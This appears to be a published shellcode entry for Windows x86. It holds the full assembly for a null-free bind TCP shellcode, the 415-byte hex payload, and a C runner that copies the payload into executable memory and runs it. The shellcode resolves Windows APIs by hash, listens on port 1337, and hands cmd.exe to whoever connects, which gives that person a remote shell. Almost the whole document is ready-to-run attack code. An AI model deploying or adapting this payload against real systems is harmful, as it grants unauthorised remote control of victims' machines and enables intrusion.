; Name: Windows/x86 - Bind TCP shellcode / Dynamic PEB & EDT method null-free Shellcode (415 bytes) ; Author: h4pp1n3ss ; Date: Wed 10/06/2021 ; Tested on: Microsoft Windows [Version 10.0.19042.1237] ; Description: ; This a bind tcp shellcode that open a listen socket on 0.0.0.0 and port 1337. In order to accomplish this task the shellcode uses ; the PEB method to locate the baseAddress of the required module and the Export Directory Table to locate symbols. ; Also the shellcode uses a hash function to gather dynamically the required symbols without worry about the length. start: ; mov ebp, esp ; add esp, 0xfffff9f0 ; Avoid null-bytes and stack clobbering find_kernel32: xor ecx, ecx ; ECX = Null mov esi,fs:[ecx+0x30] ; ESI = &(PEB) ([FS:0x30]) mov esi,[esi+0x0C] ; ESI = PEB->Ldr mov esi,[esi+0x1C] ; ESI = PEB->Ldr.InInitOrder next_module: ; mov ebx, [esi+0x08] ; EBX = InInitOrder[X].base_address mov edi, [esi+0x20] ; EDI = InInitOrder[X].module_name mov esi, [esi] ; ESI = InInitOrder[X].flink (next module) cmp [edi+12*2], cx ; (unicode) module_name[12] == 0x00 / we found kernel32.dll? jne next_module ; No: try next module find_function_shorten: ; jmp find_function_shorten_bnc ; short jump find_function_ret: ; pop esi ; ESI = POP return addres mov [ebp+0x04], esi ; Save find_function address for later usage jmp resolve_symbols_kernel32 ; find_function_shorten_bnc: ; call find_function_ret ; Call fund_function_ret PUSH ret address into the stack find_function: ; pushad ; Save all registers mov eax, [ebx+0x3c] ; Offset of PE signature mov edi, [ebx+eax+0x78] ; Export Table Directory RVA add edi, ebx ; Export Table Directory VMA mov ecx, [edi+0x18] ; NumberOfNames mov eax, [edi+0x20] ; AddressOfNames RVA add eax, ebx ; AddresOfNames VMA mov [ebp-4], eax ; Save AddressOfName VMA for later usage find_function_loop: ; jecxz find_function_finished ; Jump to the end if ECX is 0 dec ecx ; Decrement our counter mov eax, [ebp-4] ; Restore AddressOfNames VMA mov esi, [eax+ecx*4] ; Get the RVA of the symbol name add esi, ebx ; Set ESI to the VMA of the current symbol name compute_hash: ; xor eax, eax ; EAX = Null cdq ; Null EDX cld ; Clear direction flag compute_hash_again: lodsb ; Load the next bytes from ESI into al test al, al ; Check for Null terminator jz compute_hash_finished ; If the ZF is set, we've hit the NULL term ror edx, 0x0d ; Rotate edx 13 bits to the right add edx, eax ; Add the new byte to the accumulator jmp compute_hash_again ; Next iteration compute_hash_finished: ; find_function_compare: cmp edx, [esp+0x24] ; Compare the computed hash with the requested hash jnz find_function_loop ; If it doesn't match go back to find_function_loop mov edx, [edi+0x24] ; AddressOfNameOrdinals RVA add edx, ebx ; AddressOfNameOrdinals VMA mov cx, [edx+2*ecx] ; Extrapolate the function's ordinal mov edx, [edi+0x1c] ; AddressOfFunctions RVA add edx, ebx ; AddressOfFunctions VMA mov eax, [edx+4*ecx] ; Get the function RVA add eax, ebx ; Get the function VMA mov [esp+0x1c], eax ; Overwrite stack version of eax from pushad find_function_finished: ; popad ; Restore registers ret ; resolve_symbols_kernel32: ; push 0x78b5b983 ; TerminateProcess hash call dword [ebp+0x04] ; Call find_function mov [ebp+0x10], eax ; Save TerminateProcess address for later usage push 0xec0e4e8e ; LoadLibraryA hash call dword [ebp+0x04] ; Call find_function mov [ebp+0x14], eax ; Save LoadLibraryA address for later usage push 0x16b3fe72 ; CreateProcessA hash call dword [ebp+0x04] ; Call find_function mov [ebp+0x18], eax ; Save CreateProcessA address for later usage load_ws2_32: ; xor eax, eax ; EAX = Null mov ax, 0x6c6c ; EAX = 0x6c6c push eax ; ESP = "ll" push dword 0x642e3233 ; ESP = "32.dll" push dword 0x5f327377 ; ESP = "ws2_32.dll" push esp ; ESP = &("ws2_32.dll") call dword [ebp+0x14] ; Call LoadLibraryA resolve_symbols_ws2_32: mov ebx, eax ; Move the base address of ws2_32.dll to EBX push 0x3bfcedcb ; WSAStartup hash call dword [ebp+0x04] ; Call find_function mov [ebp+0x1C], eax ; Save WSAStartup address for later usage push 0xadf509d9 ; WSASocketA hash call dword [ebp+0x04] ; Call find_function mov [ebp+0x20], eax ; Save WSASocketA address for later usage push 0xc7701aa4 ; Bind hash call dword [ebp+0x04] ; Call find_function mov [ebp+0x24], eax ; Save Bind address for later usage push 0xe92eada4 ; listen hash call dword [ebp+0x04] ; Call find_function mov [ebp+0x28], eax ; Save listen address for later usage push 0x9f5b7976 ; WSAGetLastError hash call dword [ebp+0x04] ; Call find_function mov [ebp+0x32], eax ; Save WSAGetLastError address for later usage push 0x498649e5 ; accept hash call dword [ebp+0x04] ; Call find_function mov [ebp+0x36], eax ; Save acccept address for later usage call_wsastartup: ; mov eax, esp ; Move ESP to EAX mov cx, 0x590 ; Move 0x590 to CX sub eax, ecx ; Substract CX from EAX to avoid overwriting the structure later push eax ; Push lpWSAData xor eax, eax ; EAX = Null mov ax, 0x0202 ; Move version to AX push eax ; Push wVersionRequired (0x00000202) call dword [ebp+0x1C] ; Call WSAStartup(WORD wVersionRequired, LPWSADATA lpWSAData) call_wsasocketa: ; WSASocketA(AF_INET = 2, SOCK_STREAM = 1, TCP = 6, NULL, NULL, NULL ) xor eax, eax ; EAX = Null push eax ; Push dwFlags push eax ; Push g push eax ; Push lpProtocolInfo mov al, 0x06 ; Move AL, IPPROTO_TCP push eax ; Push protocol sub al, 0x05 ; Substract 0x05 from AL, AL = 0x01 push eax ; Push type inc eax ; Increase EAX, EAX = 0x02 push eax ; Push af call dword [ebp+0x20] ; Call WSASocketA(2,1,6,0,0,0) create_sockaddr_in_struct: ; sockaddr_in {AF_INET = 2; p1337 = 0x3905; INADDR_ANY = 0x5D00A8C0} mov esi, eax ; Move the SOCKET descriptor to ESI xor eax, eax ; EAX = Null push eax ; Push sin_addr (any address 0.0.0.0) mov ax, 0x3905 ; Move the sin_port (example: 1337) to AX (EAX = 0x00003905) shl eax, 0x10 ; Left shift EAX by 0x10 bytes (EAX = 0x39050000) add ax, 0x02 ; Add 0x02 (AF_INET) to AX push eax ; Push sin_port & sin_family push esp ; Push pointer to the sockaddr_in structure pop edi ; EDI = &(sockaddr_in) call_bind: ; bind(SOCKET *s = ESI, const sockaddr *addr = EDI, int namelen = 0x16) xor eax, eax ; EAX = Null add al, 0x16 ; Set AL to 0x16 push eax ; Push namelen push edi ; Push *addr push esi ; Push s call dword [ebp+0x24] ; Call bind call_wsagetlaserror: ; WSAGetLastError() (just for debugging purpouse) call dword [ebp+0x32] ; Call WSAGetLastError call_listen: ; xor eax, eax ; EAX = Null push eax ; Push backlog push esi ; Push s call dword [ebp+0x28] ; Call WS2_32!listen call_accept: ; accept( SOCKET s, sockaddr *addr, int *addrlen) xor eax, eax ; EAX = Null push eax ; Push *addrlen (optional) push eax ; Push *addr (optional) push esi ; Push socket HANDLE from WSASocketA() call dword [ebp+0x36] ; Call accept(SOCKET s ,Null, Null) create_startupinfoa: ; mov esi, eax ; Save Handle returned from accept() into ESI push esi ; Push hStdError push esi ; Push hStdOutput push esi ; Push hStdInput xor eax, eax ; EAX = Null push eax ; Push lpReserved2 push eax ; Push cbReserved2 & wShowWindow mov al, 0x80 ; Move 0x80 to AL xor ecx, ecx ; EAX = Null mov cl, 0x80 ; Move 0x80 to CL add eax, ecx ; Set EAX to 0x100 push eax ; Push dwFlags xor eax, eax ; EAX = Null push eax ; Push dwFillAttribute push eax ; Push dwYCountChars push eax ; Push dwXCountChars push eax ; Push dwYSize push eax ; Push dwXSize push eax ; Push dwY push eax ; Push dwX push eax ; Push lpTitle push eax ; Push lpDesktop push eax ; Push lpReserved mov al, 0x44 ; Move 0x44 to AL push eax ; Push cb push esp ; Push pointer to the STARTUPINFOA structure pop edi ; Store pointer to STARTUPINFOA in EDI create_cmd_string: ; mov eax, 0xff9a879b ; Move 0xff9a879b into EAX neg eax ; Negate EAX, EAX = 00657865 push eax ; Push part of the "cmd.exe" string push 0x2e646d63 ; Push the remainder of the "cmd.exe" string push esp ; Push pointer to the "cmd.exe" string pop ebx ; Store pointer to the "cmd.exe" string in EBX call_createprocessa: ; mov eax, esp ; Move ESP to EAX xor ecx, ecx ; ECX = Null mov cx, 0x390 ; Move 0x390 to CX sub eax, ecx ; Substract CX from EAX to avoid overwriting the structure later push eax ; Push lpProcessInformation push edi ; Push lpStartupInfo xor eax, eax ; EAX = Null push eax ; Push lpCurrentDirectory push eax ; Push lpEnvironment push eax ; Push dwCreationFlags inc eax ; Increase EAX, EAX = 0x01 (TRUE) push eax ; Push bInheritHandles dec eax ; EAX = Null push eax ; Push lpThreadAttributes push eax ; Push lpProcessAttributes push ebx ; Push lpCommandLine push eax ; Push lpApplicationName call dword [ebp+0x18] ; Call CreateProcessA call_terminate_process: ; xor eax, eax ; EAX = Null push eax ; uExitCode push 0xffffffff ; HANDLE hProcess call dword [ebp+0x04] ; Call TerminateProcess [*]================================= POC =============================== [*] /* Shellcode runner author: reenz0h (twitter: @sektor7net) */ #include #include #include #include // nasm -f win32 shellcode.asm -o shellcode.o // objdump -D ./shellcode.o |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' unsigned char payload[] = "\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b" "\x76\x1c\x8b\x5e\x08\x8b\x7e\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06" "\x5e\x89\x75\x04\xeb\x54\xe8\xf5\xff\xff\xff\x60\x8b\x43\x3c\x8b\x7c\x03" "\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x36\x49\x8b" "\x45\xfc\x8b\x34\x88\x01\xde\x31\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca" "\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75\xdf\x8b\x57\x24\x01\xda\x66\x8b" "\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61\xc3" "\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x10\x68\x8e\x4e\x0e\xec\xff\x55" "\x04\x89\x45\x14\x68\x72\xfe\xb3\x16\xff\x55\x04\x89\x45\x18\x31\xc0\x66" "\xb8\x6c\x6c\x50\x68\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\x55\x14" "\x89\xc3\x68\xcb\xed\xfc\x3b\xff\x55\x04\x89\x45\x1c\x68\xd9\x09\xf5\xad" "\xff\x55\x04\x89\x45\x20\x68\xa4\x1a\x70\xc7\xff\x55\x04\x89\x45\x24\x68" "\xa4\xad\x2e\xe9\xff\x55\x04\x89\x45\x28\x68\x76\x79\x5b\x9f\xff\x55\x04" "\x89\x45\x32\x68\xe5\x49\x86\x49\xff\x55\x04\x89\x45\x36\x89\xe0\x66\xb9" "\x90\x05\x29\xc8\x50\x31\xc0\x66\xb8\x02\x02\x50\xff\x55\x1c\x31\xc0\x50" "\x50\x50\xb0\x06\x50\x2c\x05\x50\x40\x50\xff\x55\x20\x89\xc6\x31\xc0\x50" "\x66\xb8\x05\x39\xc1\xe0\x10\x66\x83\xc0\x02\x50\x54\x5f\x31\xc0\x04\x16" "\x50\x57\x56\xff\x55\x24\xff\x55\x32\x31\xc0\x50\x56\xff\x55\x28\x31\xc0" "\x50\x50\x56\xff\x55\x36\x89\xc6\x56\x56\x56\x31\xc0\x50\x50\xb0\x80\x31" "\xc9\xb1\x80\x01\xc8\x50\x31\xc0\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50" "\xb0\x44\x50\x54\x5f\xb8\x9b\x87\x9a\xff\xf7\xd8\x50\x68\x63\x6d\x64\x2e" "\x54\x5b\x89\xe0\x31\xc9\x66\xb9\x90\x03\x29\xc8\x50\x57\x31\xc0\x50\x50" "\x50\x40\x50\x48\x50\x50\x53\x50\xff\x55\x18\x31\xc0\x50\x6a\xff\xff\x55" "\x04"; unsigned int payload_len = 415; int main(void) { void * exec_mem; BOOL rv; HANDLE th; DWORD oldprotect = 0; exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); RtlMoveMemory(exec_mem, payload, payload_len); rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect); printf("Shellcode Length: %d\n", strlen(payload)); if ( rv != 0 ) { th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0); WaitForSingleObject(th, -1); } return 0; }